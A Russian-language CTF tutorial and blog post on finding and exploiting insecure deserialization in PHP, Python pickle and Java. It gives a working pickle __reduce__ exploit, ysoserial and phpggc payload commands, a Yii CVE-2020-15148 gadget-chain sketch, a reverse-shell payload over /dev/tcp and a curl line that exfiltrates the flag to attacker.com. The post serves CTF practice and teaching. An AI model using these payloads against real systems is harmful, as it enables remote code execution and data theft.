
На одном из web-тасков рейтингового CTF задание выглядело стерильно: минимальный фронтенд, пара форм, стандартные заголовки. Ничего интересного — пока не перехватил трафик через Burp. В cookie лежала Base64-строка, начинавшаяся с rO0AB — сигнатура Java-сериализации. Десять минут на подбор цепочки через ysoserial, payload с CommonsCollections4, команда cat /flag.txt отработала на сервере. Три команды в терминале, одна вставка в Burp — флаг сдан. Insecure deserialization стабильно входит в число уязвимостей с максимальным импактом: по OWASP Top 10 (2021) десериализация включена в категорию A08 — Software and Data Integrity Failures, а в реальных атаках эксплуатация через десериализацию маппится на технику MITRE ATT&CK T1190 (Exploit Public-Facing Application, Initial Access). Разберём пошагово, как находить и эксплуатировать эту уязвимость в трёх самых частых языках CTF-заданий.
Первый этап — научиться распознавать сериализованные объекты в HTTP-трафике. В CTF web уязвимости десериализации прячутся в cookies, POST-параметрах, скрытых полях форм и кастомных заголовках. Иногда в самых неожиданных местах — я однажды нашёл pickle-объект в заголовке X-Session-Data, который ни один сканер не подсветил. Подробнее — в нашем статье о создание ctf заданий.
PHP использует текстовый формат. Сериализованный объект выглядит как O:4:"User":2:{s:4:"name";s:6:"carlos";s:7:"isAdmin";b:0;} — O означает объект, s — строку, b — boolean, числа указывают длину. Видите в cookie или параметре строку, начинающуюся с O:, a: (массив) или s: — это PHP-сериализация. В исходном коде целевая функция — unserialize().
Java сериализует в бинарный формат. Ключевая сигнатура — байты AC ED 00 05 в hex или rO0AB в Base64. Согласно PortSwigger Web Security Academy, любой сериализованный Java-объект начинается с этих байтов. В коде ищите метод readObject(), через который данные десериализуются из InputStream. Отдельный маркер — заголовок Content-Type: application/x-java-serialized-object.
Python опирается на модуль pickle (или cPickle). Формат бинарный, характерные маркеры — байты \x80\x03 или \x80\x04 в начале (протоколы 3 и 4), в Base64 это gAM или gAQ. В исходниках ищите pickle.loads(), pickle.load(), а также yaml.load() без параметра Loader=SafeLoader — PyYAML тоже подвержен object injection.
Практический совет: перехватывайте весь трафик через Burp Proxy, прогоняйте cookies и параметры через Decoder. PHP-сериализация читается глазами, Java и Python требуют hex-просмотра для опознания сигнатуры. Burp Scanner (Professional) автоматически помечает подозрительные паттерны десериализации в HTTP-сообщениях.
Эксплуатация десериализации PHP — одна из самых частых категорий web-тасков на CTF. И одна из моих любимых: атаки тут делятся на три уровня, от тривиальных до по-настоящему красивых цепочек.
Простейший сценарий PHP unserialize эксплуатации — приложение достаёт сериализованный объект из cookie и использует его для контроля доступа. Классический пример из PortSwigger Academy: cookie содержит объект User с атрибутом isAdmin, равным b:0 (false). Меняем на b:1 (true), перекодируем в Base64, отправляем — если серверный код проверяет $user->isAdmin === true без валидации подлинности объекта, получаем privilege escalation. Звучит слишком просто? На CTF это решается за 30 секунд. В реальных приложениях — тоже встречается чаще, чем хотелось бы.
Отдельный вектор — type juggling через нестрогое сравнение. На PHP 7.x и ранее выражение 0 == "любая_строка" возвращает true: PHP конвертирует строку в integer 0. Если десериализованный объект содержит пароль как i:0, а серверный код сравнивает через == с реальным паролем-строкой — authentication bypass. На PHP 8+ этот трюк не работает: строки больше не конвертируются неявно в 0. Сравнение 5 == "5 of something" тоже возвращает false — строка с нечисловым суффиксом больше не приводится к числу. Так что первым делом определяйте версию PHP — от этого зависит, какие трюки доступны.
Магические методы php unserialize — ключ к превращению простой подмены атрибутов в полноценный Remote Code Execution. При десериализации PHP вызывает __wakeup(), при уничтожении объекта — __destruct(), при приведении к строке — __toString(). Если в доступных классах есть метод, который выполняет опасную операцию с контролируемым атрибутом — это готовый гаджет.
Типичная CTF-цепочка: класс Logger, чей __destruct() записывает содержимое $this->logData в файл $this->logFile. Атакующий подставляет объект Logger с путём /var/www/html/shell.php и PHP-шеллом в logData. После garbage collection деструктор создаёт веб-шелл. Красота в том, что автор кода даже не думал про безопасность этого класса — он же «просто логгер».
Другой частый паттерн — __toString(), который вызывается при конкатенации строки с объектом и запускает цепочку вызовов методов на вложенных атрибутах.
Стратегия поиска gadget chain в исходниках: grep по __destruct, __wakeup, __toString — это kick-off гаджеты. Для каждого найденного метода проследите, какие методы вызываются на контролируемых (public или protected) атрибутах. Постройте цепочку до sink-функции: eval(), system(), exec(), call_user_func(), file_put_contents().
PHPGGC (PHP Generic Gadget Chains) — по сути ysoserial для PHP-мира. Содержит готовые цепочки для Laravel, Symfony, Yii, WordPress, Magento, Guzzle и десятков других библиотек.
Команда phpggc Laravel/RCE1 system 'cat /flag.txt' генерирует сериализованный payload, который при десериализации в Laravel-приложении вызовет system('cat /flag.txt'). Результат — строка в PHP-формате, готовая для подстановки в уязвимый параметр. Список цепочек: phpggc -l, фильтр по фреймворку: phpggc -l | grep Symfony.
Алгоритм на CTF: (1) определите фреймворк по заголовкам, cookie-именам, файлам composer.json или composer.lock; (2) перечислите цепочки через phpggc -l; (3) сгенерируйте payload для подходящих; (4) если ни одна стандартная цепочка не подошла — придётся строить gadget chain вручную по исходникам. Четвёртый пункт — это где начинается настоящий CTF.
Python pickle RCE — самая прямолинейная разновидность insecure deserialization. В отличие от PHP и Java, где нужно собирать цепочку гаджетов из существующих классов, в pickle атакующий напрямую указывает вызываемую функцию и аргументы. Никаких gadget chains — просто говоришь «выполни это» и pickle послушно выполняет.
Модуль pickle восстанавливает объекты через специальные методы. Метод __reduce__() — главное оружие: он возвращает кортеж (callable, args), при десериализации Python выполняет callable(*args). Подставив os.system и ("cat /flag.txt",) — получаем выполнение команды.
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ("cat /flag.txt",))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload.decode())
Этот код генерирует Base64-строку для подстановки в уязвимый параметр. На стороне сервера pickle.loads(base64.b64decode(user_input)) выполнит команду. Работает в любой версии Python 3.x и маппится на технику MITRE ATT&CK T1059.006 (Python).
В CTF-заданиях pickle встречается в нескольких контекстах: сессионные cookie Flask без itsdangerous или с утёкшим SECRET_KEY, API-эндпоинты с сериализованными данными, Redis-хранилища с pickle-значениями. Если при анализе Flask-приложения обнаружена утечка SECRET_KEY — можно подписать произвольный cookie с pickle-payload, и сервер десериализует его при обработке запроса.
Простой os.system не возвращает вывод в HTTP-ответ. Альтернативы для CTF:
(eval, ("open('/flag.txt').read()",)) — возвращает содержимое, но только если серверный код выводит результат pickle.loads() (через print() или HTTP-ответ)(subprocess.check_output, (["cat", "/flag.txt"],)) — возвращает bytes с содержимым (аналогично — результат доступен, только если сервер возвращает объект из pickle.loads())(os.system, ("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'",)) — маппится на T1059.004 (Unix Shell, Execution)(os.system, ("curl http://attacker.com/$(cat /flag.txt | base64)",)) — exfiltration через DNS или HTTP, когда вывод в ответе недоступенЕсли на сервере фильтруется os или subprocess, используйте __import__: замените callable на eval с аргументом "__import__('os').system('id')". Pickle-машина выполняет произвольный bytecode, обойти фильтр при серверном pickle.loads() практически невозможно — единственная надёжная защита: не десериализовать пользовательские данные через pickle. Точка.
Java gadget chain exploitation — наиболее сложная форма insecure deserialization. Атакующий не может напрямую указать вызываемую функцию (как в pickle — было бы слишком просто). Вместо этого нужно собрать цепочку из существующих классов приложения и его библиотек, где каждый шаг вызывает метод следующего объекта.
Сериализованные Java-объекты начинаются с AC ED 00 05 (hex) или rO0AB (Base64). Классы, реализующие java.io.Serializable, могут быть сериализованы. При десериализации вызывается readObject() — kick-off гаджет. Гаджеты берутся из библиотек в classpath: Apache Commons Collections, Spring Framework, Groovy, Hibernate. Если хотя бы одна из этих библиотек на сервере — с высокой вероятностью для неё есть готовая цепочка.
Ysoserial — основной инструмент генерации payload для Java:
# Генерация payload с Base64-кодированием для подстановки в Burp
# 2>/dev/null подавляет служебные логи (Log4j/SLF4J), иначе они попадут в base64 и сломают payload
java -jar ysoserial.jar CommonsCollections4 'cat /flag.txt' 2>/dev/null | base64 -w0
# Просмотр доступных цепочек
java -jar ysoserial.jar
Согласно SecureLayer7, при выборе гаджета учитывайте совместимость с версией Java и наличие целевой библиотеки в classpath. На практике это перебор: CommonsCollections1 через CommonsCollections7, затем Groovy1, Spring1-2, Hibernate1. Тупой, но рабочий подход. Определить библиотеки можно через stacktrace в ошибках (специально подсуньте невалидные данные), файлы pom.xml или build.gradle (если доступны), а также по характерным заголовкам и cookie-именам.
После генерации payload подставьте его вместо оригинального сериализованного объекта в cookie или параметр. Не забудьте URL-encode, если передаёте через HTTP-параметр. Если команда выполняется молча (нет вывода в ответе) — используйте out-of-band: DNS-запрос через nslookup, HTTP-запрос на свой сервер, запись результата в файл в webroot.
Разбор реальной poc chain deserialization — лучший способ понять, как строить собственные цепочки. CVE-2020-15148 затрагивает Yii 2 (пакет yiisoft/yii2) версий до 2.0.38. По данным NVD: CVSS 8.9 (HIGH), вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H, CWE-502 (Deserialization of Untrusted Data). Примечание: NVD оценивает как 8.9 HIGH (AC:H — требуется активная сессия, C:L), тогда как OSV.dev — как 10.0 CRITICAL (AC:L, C:H). Здесь используем консервативную оценку NVD. EPSS-оценка — 0.7876 (перцентиль 0.9958, Top 1% по вероятности эксплуатации). Для CVE существует Nuclei-шаблон автоматического сканирования.
Расшифровка вектора: AV:N — удалённая эксплуатация через сеть; AC:H — высокая сложность, вероятно обусловленная необходимостью специфичных условий на сервере (например, активной PHP-сессии для DbSession); PR:N — привилегии не нужны; UI:N — действие пользователя не требуется; S:C — импакт выходит за пределы уязвимого компонента.
Уязвимость эксплуатируется, если приложение на Yii вызывает unserialize() на пользовательском вводе. Сам фреймворк не содержит точку десериализации — она в коде приложения. Но Yii предоставляет классы для построения gadget chain до RCE. И вот тут начинается самое интересное.
Цепочка, детально описанная RedTeam Pentesting:
yii\db\BatchQueryResult — единственный класс с __destruct() во всём фреймворке (v2.0.37). Один на весь фреймворк! Деструктор вызывает $this->reset().reset() выполняет $this->_dataReader->close(). Атакующий подставляет в _dataReader объект yii\web\DbSession.DbSession::close() проверяет getIsActive() (работает при активной PHP-сессии) и вызывает composeFields(). Метод MultiFieldSession::composeFields() выполняет call_user_func($this->writeCallback, $this) — атакующий контролирует writeCallback.writeCallback указывает на generateDependencyData() класса yii\caching\ExpressionDependency, содержащий eval("return {$this->expression};") — RCE.// Минимальная структура gadget chain (CVE-2020-15148)
namespace yii\db {
class BatchQueryResult {
private $_dataReader;
function __construct() {
$this->_dataReader = new \yii\web\DbSession();
}
}
}
namespace yii\web {
class DbSession {
public $writeCallback; // → [ExprDep, 'generateDependencyData']
}
}
Ценность этого примера для CTF — в методологии: grep по __destruct дал один результат, от него прослеживается цепочка через контролируемые атрибуты до eval(). После публикации CVE цепочка была добавлена в PHPGGC, а в Yii 2.0.38 класс BatchQueryResult перестал вызывать close() при десериализации. Но сам подход — от магического метода через контролируемые атрибуты до sink-функции — универсален для любого PHP-фреймворка.
Алгоритм, отработанный на десятках тасков:
Шаг 1. Перехват и анализ. Весь трафик через Burp Proxy. Ищите сигнатуры: O: (PHP), rO0AB (Java), gAM/gAQ (pickle) — в cookies, POST body, скрытых полях, кастомных заголовках.
Шаг 2. Определение стека. Заголовки X-Powered-By, имена cookie (PHPSESSID, JSESSIONID, session), конфигурационные файлы (composer.json, pom.xml, requirements.txt). Для blackbox — провоцируйте ошибки подстановкой невалидных данных: stacktrace часто раскрывает фреймворк и библиотеки. Я обычно начинаю с подстановки AAAA вместо сериализованного объекта — ошибки бывают очень разговорчивыми.
Шаг 3. Простые атаки. Подмена атрибутов (role, isAdmin, userId). Type juggling для PHP 7.x. Изменение путей к файлам, если приложение использует serialization vulnerability для работы с FS.
Шаг 4. Инструментальная генерация payload. PHP — phpggc; Java — ysoserial; Python — ручная сборка через __reduce__. Для Java перебирайте: CommonsCollections1-7, Groovy1, Spring1-2, Hibernate1, JRMPClient.
Шаг 5. Доставка. Подставьте payload вместо оригинального объекта. Base64 + URL-encode по необходимости. Out-of-band техники для слепой эксплуатации: DNS exfiltration, HTTP callback, запись в webroot.
Шаг 6. Ручное построение цепочки. Если инструменты не помогли: grep по магическим методам → трассировка вызовов на контролируемых атрибутах → поиск sink-функций (eval, system, exec, call_user_func, file_put_contents). Декомпиляторы JD-GUI или CFR помогают анализировать Java-классы без исходников.
Отдельный вектор, который стоит проверять в PHP-тасках, — PHAR-десериализация. Метаданные PHAR-файла содержат сериализованный объект, десериализуемый при обращении через обёртку phar://. Если приложение принимает загрузку файлов и обрабатывает путь через file_exists(), is_dir() или fopen() — возможна десериализация без явного unserialize(). По данным PortSwigger, это один из наиболее неочевидных векторов, и авторы CTF любят использовать его в заданиях повышенной сложности. Мне такое попадалось дважды — оба раза я потратил кучу времени, пока не додумался проверить загрузку файлов.
В контексте MITRE ATT&CK полная цепочка эксплуатации gadget chain exploitation обычно включает: T1190 (Exploit Public-Facing Application) → T1203 (Exploitation for Client Execution) → T1059.004 (Unix Shell) или T1059.006 (Python) → T1105 (Ingress Tool Transfer — загрузка дополнительных инструментов). Понимание этой цепочки полезно не только для атаки, но и для составления отчётов — на CTF-ивентах с элементами red team оценка часто зависит от качества документации.
Бытует мнение, что десериализация — узкий класс уязвимостей: «выпилим unserialize() и безопасно». На практике поверхность атаки шире одного вызова функции. Gadget chains живут в зависимостях — каждая библиотека в composer.json или pom.xml потенциально приносит цепочку до RCE. По данным Mandiant M-Trends 2025, exploits остаются главным вектором initial access — 38% всех инцидентов. Десериализация — один из таких exploit-векторов, причём из наиболее разрушительных: EPSS-оценка CVE-2020-15148 в Top 1% подтверждает, что даже старые цепочки активно используются. RedTeam Pentesting показали, как в Yii 2 единственный __destruct() на весь фреймворк привёл к RCE через четыре промежуточных класса. Закрыли один path — через полгода в PHPGGC появляется новая цепочка для той же CMS.
Защита через whitelist классов работает лучше попытки вычистить все гаджеты, но на CTF нас интересует атакующая сторона. И тут я вижу системную проблему: большинство CTF-игроков останавливаются на уровне «запустил ysoserial, вставил в Burp, получил флаг» — без понимания, как цепочка работает внутри. Это потолок. Тот, кто умеет трассировать gadget chain от __destruct() до eval() руками, решает задания, для которых готовых цепочек нет. Если хочешь не просто writeup, а пройти полную атаку от разведки до RCE в управляемой среде — на WAPT эту цепочку проходят в рамках нескольких модулей с лабами.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...